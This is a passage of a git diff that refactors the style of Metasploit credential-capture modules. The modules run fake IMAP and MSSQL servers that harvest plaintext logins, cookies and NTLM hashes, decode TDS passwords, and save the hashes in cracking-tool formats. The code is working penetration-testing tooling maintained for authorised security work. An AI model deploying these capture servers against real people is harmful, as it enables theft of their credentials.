''}\n" when NTLM_CONST::NTLM_V2_RESPONSE capturelogmessage = - "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} " + - "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""} " + - "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" + "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} " \ + "LM_CLIENT_CHALLENGE:#{lm_chall_message || ''}\n" \ + "NTHASH:#{nt_hash || ''} " \ + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge || ''}\n" when NTLM_CONST::NTLM_2_SESSION_RESPONSE # we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr # also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture capturelogmessage = - "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "NTHASH:#{nt_hash ? nt_hash : ""}\n" + - "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} \n" + "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "NTHASH:#{nt_hash || ''}\n" \ + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0, 16] : ''} \n" else # should not happen return @@ -330,64 +338,62 @@ def html_get_hash(arg = {}) report_creds(opts_report) - #if(datastore['LOGFILE']) + # if(datastore['LOGFILE']) # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} - #end - - if(datastore['CAINPWFILE'] and user) - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['CAINPWFILE'], "ab") - fd.puts( - [ - user, - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48 - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - end + # end + + if datastore['CAINPWFILE'] && user && ((ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE)) + fd = File.open(datastore['CAINPWFILE'], 'ab') + fd.puts( + [ + user, + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + ) + fd.close end - if(datastore['JOHNPWFILE'] and user) + if datastore['JOHNPWFILE'] && user case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") + fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48, - @challenge.unpack("H*")[0] - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + lm_hash || '0' * 48, + nt_hash || '0' * 48, + @challenge.unpack('H*')[0] + ].join(':').gsub(/\n/, '\\n') ) fd.close when NTLM_CONST::NTLM_V2_RESPONSE - #lmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") + # lmv2 + fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 32, - lm_cli_challenge ? lm_cli_challenge : "0" * 16 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 32, + lm_cli_challenge || '0' * 16 + ].join(':').gsub(/\n/, '\\n') ) fd.close - #ntlmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") + # ntlmv2 + fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - nt_hash ? nt_hash : "0" * 32, - nt_cli_challenge ? nt_cli_challenge : "0" * 160 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + nt_hash || '0' * 32, + nt_cli_challenge || '0' * 160 + ].join(':').gsub(/\n/, '\\n') ) fd.close end @@ -410,35 +416,35 @@ def report_creds(opts) when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE hash = [ user, '', - domain ? domain : 'NULL', - lm_hash ? lm_hash : '0' * 48, - nt_hash ? nt_hash : '0' * 48, + domain || 'NULL', + lm_hash || '0' * 48, + nt_hash || '0' * 48, @challenge.unpack('H*')[0] ].join(':').gsub(/\n/, '\\n') report_hash(ip, user, 'netntlm', hash) when NTLM_CONST::NTLM_V2_RESPONSE hash = [ user, '', - domain ? domain : 'NULL', + domain || 'NULL', @challenge.unpack('H*')[0], - lm_hash ? lm_hash : '0' * 32, - lm_cli_challenge ? lm_cli_challenge : '0' * 16 + lm_hash || '0' * 32, + lm_cli_challenge || '0' * 16 ].join(':').gsub(/\n/, '\\n') report_hash(ip, user, 'netlmv2', hash) hash = [ user, '', - domain ? domain : 'NULL', + domain || 'NULL', @challenge.unpack('H*')[0], - nt_hash ? nt_hash : '0' * 32, - nt_cli_challenge ? nt_cli_challenge : '0' * 160 + nt_hash || '0' * 32, + nt_cli_challenge || '0' * 160 ].join(':').gsub(/\n/, '\\n') report_hash(ip, user, 'netntlmv2', hash) else hash = domain + ':' + - ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : '00' * 24 ) + ':' + - ( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : '00' * 24 ) + ':' + - datastore['CHALLENGE'].to_s + (lm_hash + lm_cli_challenge.to_s || '00' * 24) + ':' + + (nt_hash + nt_cli_challenge.to_s || '00' * 24) + ':' + + datastore['CHALLENGE'].to_s report_hash(ip, user, nil, hash) end end @@ -453,7 +459,7 @@ def report_hash(ip, user, type_hash, hash) } credential_data = { - module_fullname: self.fullname, + module_fullname: fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, @@ -472,5 +478,4 @@ def report_hash(ip, user, type_hash, hash) create_credential_login(login_data) end - end diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 144cad1f8ee3..d22ebe3c26b3 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -9,29 +9,33 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: IMAP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: IMAP', + 'Description' => %q{ This module provides a fake IMAP service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run IMAP capture server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run IMAP capture server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ]), - OptString.new('BANNER', [ true, "The server banner", 'IMAP4']) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 143 ]), + OptString.new('BANNER', [ true, 'The server banner', 'IMAP4']) + ] + ) end def setup @@ -40,17 +44,18 @@ def setup end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} - c.put "* OK #{datastore['BANNER']}\r\n" + def on_client_connect(client) + @state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil } + client.put "* OK #{datastore['BANNER']}\r\n" end - def on_client_data(c) - data = c.get_once + def on_client_data(client) + data = client.get_once return unless data + num, cmd, arg = data.strip.split(/\s+/, 3) cmd ||= '' arg ||= '' @@ -61,14 +66,14 @@ def on_client_data(c) if arg.chomp =~ /\{[0-9]+\}$/ loop do # Ask for more data - c.put "+ \r\n" + client.put "+ \r\n" # Get the next line - arg = (c.get_once || '').chomp + arg = (client.get_once || '').chomp # Remove the length field, if there is one if arg =~ /(.*) \{[0-9]+\}$/ - args << $1 + args << ::Regexp.last_match(1) else # If there's no length field, we're at the end args << arg @@ -81,52 +86,52 @@ def on_client_data(c) end if cmd.upcase == 'CAPABILITY' - c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " + - "MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " + - "QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " + - "AUTH=XYMPKI AUTH=XYMECOOKIE ID\r\n" - c.put "#{num} OK CAPABILITY completed.\r\n" + client.put '* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS ' \ + 'MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT ' \ + 'QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 ' \ + "AUTH=XYMPKI AUTH=XYMECOOKIE ID\r\n" + client.put "#{num} OK CAPABILITY completed.\r\n" end # Handle attempt to authenticate using Yahoo's magic cookie # Used by iPhones and Zimbra if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI' - c.put "+ \r\n" - cookie1 = c.get_once - c.put "+ \r\n" - cookie2 = c.get_once - register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo') + client.put "+ \r\n" + cookie1 = client.get_once + client.put "+ \r\n" + cookie2 = client.get_once + register_creds(@state[client][:ip], cookie1, cookie2, 'imap-yahoo') return end if cmd.upcase == 'LOGIN' - @state[c][:user], @state[c][:pass] = args - register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap') - print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") + @state[client][:user], @state[client][:pass] = args + register_creds(@state[client][:ip], @state[client][:user], @state[client][:pass], 'imap') + print_good("IMAP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") return end if cmd.upcase == 'LOGOUT' - c.put("* BYE IMAP4rev1 Server logging out\r\n") - c.put("#{num} OK LOGOUT completed\r\n") + client.put("* BYE IMAP4rev1 Server logging out\r\n") + client.put("#{num} OK LOGOUT completed\r\n") return end if cmd.upcase == 'ID' # RFC2971 specifies the ID command, and `NIL` is a valid response - c.put("* ID NIL\r\n") - c.put("#{num} OK ID completed\r\n") + client.put("* ID NIL\r\n") + client.put("#{num} OK ID completed\r\n") return end - @state[c][:pass] = data.strip - c.put "#{num} NO LOGIN FAILURE\r\n" + @state[client][:pass] = data.strip + client.put "#{num} NO LOGIN FAILURE\r\n" return end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end def register_creds(client_ip, user, pass, service_name) @@ -142,7 +147,7 @@ def register_creds(client_ip, user, pass, service_name) # Build credential information credential_data = { origin_type: :service, - module_fullname: self.fullname, + module_fullname: fullname, private_data: pass, private_type: :password, username: user, diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index 882b9d7967df..5e90130e6bff 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt NTLM_UTILS = Rex::Proto::NTLM::Utils @@ -14,45 +13,51 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report class Constants - TDS_MSG_RESPONSE = 0x04 - TDS_MSG_LOGIN = 0x10 - TDS_MSG_SSPI = 0x11 - TDS_MSG_PRELOGIN = 0x12 + TDS_MSG_RESPONSE = 0x04 + TDS_MSG_LOGIN = 0x10 + TDS_MSG_SSPI = 0x11 + TDS_MSG_PRELOGIN = 0x12 - TDS_TOKEN_ERROR = 0xAA - TDS_TOKEN_AUTH = 0xED + TDS_TOKEN_ERROR = 0xAA + TDS_TOKEN_AUTH = 0xED end def initialize super( - 'Name' => 'Authentication Capture: MSSQL', - 'Description' => %q{ + 'Name' => 'Authentication Capture: MSSQL', + 'Description' => %q{ This module provides a fake MSSQL service that is designed to capture authentication credentials. The modules supports both the weak encoded database logins as well as Windows logins (NTLM). }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run MSSQL capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run MSSQL capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1433 ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 1433 ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + OptString.new('CHALLENGE', [ true, 'The 8 byte challenge ', '1122334455667788' ]) + ] + ) register_advanced_options( [ - OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentication", false ]), - OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) - ]) - + OptBool.new('SMB_EXTENDED_SECURITY', [ true, 'Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentication', false ]), + OptString.new('DOMAIN_NAME', [ true, 'The domain name used during smb exchange with smb extended security set ', 'anonymous' ]) + ] + ) end def setup @@ -64,38 +69,38 @@ def run @s_smb_esn = datastore['SMB_EXTENDED_SECURITY'] @domain_name = datastore['DOMAIN_NAME'] if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ - @challenge = [ datastore['CHALLENGE'] ].pack("H*") + @challenge = [ datastore['CHALLENGE'] ].pack('H*') else - print_error("CHALLENGE syntax must match 1122334455667788") + print_error('CHALLENGE syntax must match 1122334455667788') return end # those variables will prevent to spam the screen with identical hashes (works only with ntlmv1) - @previous_lm_hash="none" - @previous_ntlm_hash="none" + @previous_lm_hash = 'none' + @previous_ntlm_hash = 'none' - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil } end # decodes a mssql password def mssql_tds_decrypt(pass) - Rex::Text.to_ascii(pass.unpack("C*").map {|c| ((( c ^ 0xa5 ) & 0x0F) << 4) | ((( c ^ 0xa5 ) & 0xF0 ) >> 4) }.pack("C*")) + Rex::Text.to_ascii(pass.unpack('C*').map { |c| (((c ^ 0xa5) & 0x0F) << 4) | (((c ^ 0xa5) & 0xF0) >> 4) }.pack('C*')) end # doesn't do any real parsing, slices of the data - def mssql_parse_prelogin(data, info) - status = data.slice!(0,1).unpack('C')[0] - len = data.slice!(0,2).unpack('n')[0] + def mssql_parse_prelogin(data, _info) + data.slice!(0, 1).unpack('C')[0] + len = data.slice!(0, 2).unpack('n')[0] # just slice away the rest of the packet data.slice!(0, len - 4) @@ -104,11 +109,11 @@ def mssql_parse_prelogin(data, info) # parses a login packet sent to the server def mssql_parse_login(data, info) - status = data.slice!(0,1).unpack('C')[0] - len = data.slice!(0,2).unpack('n')[0] + data.slice!(0, 1).unpack('C')[0] + len = data.slice!(0, 2).unpack('n')[0] if len > data.length + 4 - info[:errors] << "Login packet to short" + info[:errors] << 'Login packet to short' return end @@ -116,35 +121,35 @@ def mssql_parse_login(data, info) # * channel, packetno, window # * login header # * client name length & offset - login_hdr = data.slice!(0,4 + 36 + 4) + data.slice!(0, 4 + 36 + 4) - username_offset = data.slice!(0,2).unpack('v')[0] - username_length = data.slice!(0,2).unpack('v')[0] + username_offset = data.slice!(0, 2).unpack('v')[0] + username_length = data.slice!(0, 2).unpack('v')[0] - pw_offset = data.slice!(0,2).unpack('v')[0] - pw_length = data.slice!(0,2).unpack('v')[0] + pw_offset = data.slice!(0, 2).unpack('v')[0] + pw_length = data.slice!(0, 2).unpack('v')[0] - appname_offset = data.slice!(0,2).unpack('v')[0] - appname_length = data.slice!(0,2).unpack('v')[0] + data.slice!(0, 2).unpack('v')[0] + data.slice!(0, 2).unpack('v')[0] - srvname_offset = data.slice!(0,2).unpack('v')[0] - srvname_length = data.slice!(0,2).unpack('v')[0] + srvname_offset = data.slice!(0, 2).unpack('v')[0] + srvname_length = data.slice!(0, 2).unpack('v')[0] - if username_offset > 0 and pw_offset > 0 + if (username_offset > 0) && (pw_offset > 0) offset = username_offset - 56 - info[:user] = Rex::Text::to_ascii(data[offset..(offset + username_length * 2)]) + info[:user] = Rex::Text.to_ascii(data[offset..(offset + username_length * 2)]) offset = pw_offset - 56 if pw_length == 0 - info[:pass] = "" + info[:pass] = '' else - info[:pass] = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack("A*")[0]) + info[:pass] = mssql_tds_decrypt(data[offset..(offset + pw_length * 2)].unpack('A*')[0]) end offset = srvname_offset - 56 - info[:srvname] = Rex::Text::to_ascii(data[offset..(offset + srvname_length * 2)]) + info[:srvname] = Rex::Text.to_ascii(data[offset..(offset + srvname_length * 2)]) else - info[:isntlm?]= true + info[:isntlm?] = true end # slice of remaining packet @@ -156,12 +161,9 @@ def mssql_parse_login(data, info) # copied and slightly modified from http_ntlm html_get_hash def mssql_get_hash(arg = {}) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - else - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless (ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE) lm_cli_challenge = arg[:lm_cli_challenge] nt_cli_challenge = arg[:nt_cli_challenge] end @@ -170,54 +172,64 @@ def mssql_get_hash(arg = {}) host = arg[:host] ip = arg[:ip] - unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then + unless (@previous_lm_hash == lm_hash) && (@previous_ntlm_hash == nt_hash) @previous_lm_hash = lm_hash @previous_ntlm_hash = nt_hash # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) - print_status("NLMv1 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'ntlm' + }) + print_status('NLMv1 Hash correspond to an empty password, ignoring ... ') return end - if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then - lm_hash_message = "Disabled" - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + if (lm_hash == nt_hash) || (lm_hash == '') || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [nt_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) - print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'ntlm' + }) + print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ') return end - if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 - lm_hash_message = "Disabled" + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' lm_chall_message = 'Disabled' - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' lm_chall_message = 'Disabled' else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_hash].pack("H*")[0,8], - :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) - print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, type: 'ntlm' + }) + print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ') return end lm_hash_message = lm_hash @@ -225,35 +237,35 @@ def mssql_get_hash(arg = {}) end # Display messages - domain = Rex::Text::to_ascii(domain) - user = Rex::Text::to_ascii(user) + domain = Rex::Text.to_ascii(domain) + user = Rex::Text.to_ascii(user) capturedtime = Time.now.to_s case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV1 capturelogmessage = - "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" + "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} \nNTHASH:#{nt_hash || ''}\n" when NTLM_CONST::NTLM_V2_RESPONSE smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV2 capturelogmessage = - "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} " + - "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""} " + - "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" + "#{capturedtime}\nNTLMv2 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} " \ + "LM_CLIENT_CHALLENGE:#{lm_chall_message || ''}\n" \ + "NTHASH:#{nt_hash || ''} " \ + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge || ''}\n" when NTLM_CONST::NTLM_2_SESSION_RESPONSE - #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr - #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture + # we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr + # also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture smb_db_type_hash = Metasploit::Framework::Hashes::JTR_NTLMV1 capturelogmessage = - "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "NTHASH:#{nt_hash ? nt_hash : ""}\n" + - "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} \n" + "#{capturedtime}\nNTLM2_SESSION Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "NTHASH:#{nt_hash || ''}\n" \ + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0, 16] : ''} \n" else # should not happen return @@ -266,11 +278,11 @@ def mssql_get_hash(arg = {}) # will be mainly use for psexec / smb related exploit jtr_hash = case smb_db_type_hash - when Metasploit::Framework::Hashes::JTR_NTLMV2 - user + "::" + domain + ":" + datastore['CHALLENGE'].to_s + ":" + nt_hash + ":" + nt_cli_challenge.to_s - when Metasploit::Framework::Hashes::JTR_NTLMV1 - user + "::" + domain + ":" + lm_cli_challenge.to_s + ":" + lm_hash + ":" + datastore['CHALLENGE'] - end + when Metasploit::Framework::Hashes::JTR_NTLMV2 + user + '::' + domain + ':' + datastore['CHALLENGE'].to_s + ':' + nt_hash + ':' + nt_cli_challenge.to_s + when Metasploit::Framework::Hashes::JTR_NTLMV1 + user + '::' + domain + ':' + lm_cli_challenge.to_s + ':' + lm_hash + ':' + datastore['CHALLENGE'] + end report_cred( ip: ip, @@ -282,63 +294,61 @@ def mssql_get_hash(arg = {}) type: :nonreplayable_hash, jtr_format: smb_db_type_hash ) - #if(datastore['LOGFILE']) + # if(datastore['LOGFILE']) # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} - #end + # end - if(datastore['CAINPWFILE'] and user) - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['CAINPWFILE'], "ab") - fd.puts( + if datastore['CAINPWFILE'] && user && ((ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE)) + fd = File.open(datastore['CAINPWFILE'], 'ab') + fd.puts( [ user, - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48 - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - end + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + ) + fd.close end - if(datastore['JOHNPWFILE'] and user) + if datastore['JOHNPWFILE'] && user case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE, NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") + fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', 'ab') fd.puts( - [ - user,"", - domain ? domain : "NULL", - lm_hash ? lm_hash : "0" * 48, - nt_hash ? nt_hash : "0" * 48, - @challenge.unpack("H*")[0] - ].join(":").gsub(/\n/, "\\n") - ) - fd.close + [ + user, '', + domain || 'NULL', + lm_hash || '0' * 48, + nt_hash || '0' * 48, + @challenge.unpack('H*')[0] + ].join(':').gsub(/\n/, '\\n') + ) + fd.close when NTLM_CONST::NTLM_V2_RESPONSE - #lmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") + # lmv2 + fd = 